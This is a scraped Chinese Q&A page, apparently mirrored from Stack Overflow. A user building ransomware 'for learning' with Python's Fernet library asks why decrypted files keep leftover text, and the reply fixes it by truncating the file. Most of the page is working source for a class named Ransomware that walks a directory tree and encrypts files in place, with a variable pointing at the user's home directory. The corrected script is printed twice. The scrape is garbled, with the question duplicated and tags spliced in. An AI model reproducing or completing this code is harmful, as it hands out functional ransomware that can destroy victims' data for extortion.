Python cryptography.fernet文件解密
我正在为学习制作勒索软件 所以我复制、粘贴和编辑它,就像 但当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。如何解决此问题 比如: 到 使用此密钥文件:Python cryptography.fernet文件解密,python,cryptography,fernet,Python,Cryptography,Fernet,我正在为学习制作勒索软件 所以我复制、粘贴和编辑它,就像 但当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。如何解决此问题 比如: 到 使用此密钥文件: aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM= 问题是先加密,然后解密。您的加密和解密功能工作正常问题是,您始终寻求在文件开头写入任何更改。如果明文和密文的大小相同(无填充),则加密和解密可以正常工作但会将解密后的明文放在文件开头,与密文大小不同,而文件的其余部分保持不变,所以需要截
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
问题是先加密,然后解密。您的加密和解密功能工作正常问题是,您始终寻求在文件开头写入任何更改。如果明文和密文的大小相同(无填充),则加密和解密可以正常工作但会将解密后的明文放在文件开头,与密文大小不同,而文件的其余部分保持不变,所以需要截断密文的其余部分
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()
您是否编辑了脚本或使用了提供的脚本?我创建了一个名为encrypt()和decrypt()的函数,并调用了@depris,因此请使用这些函数编辑您的问题,特别是
encrypt
function@KhaledGaber固定问题
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()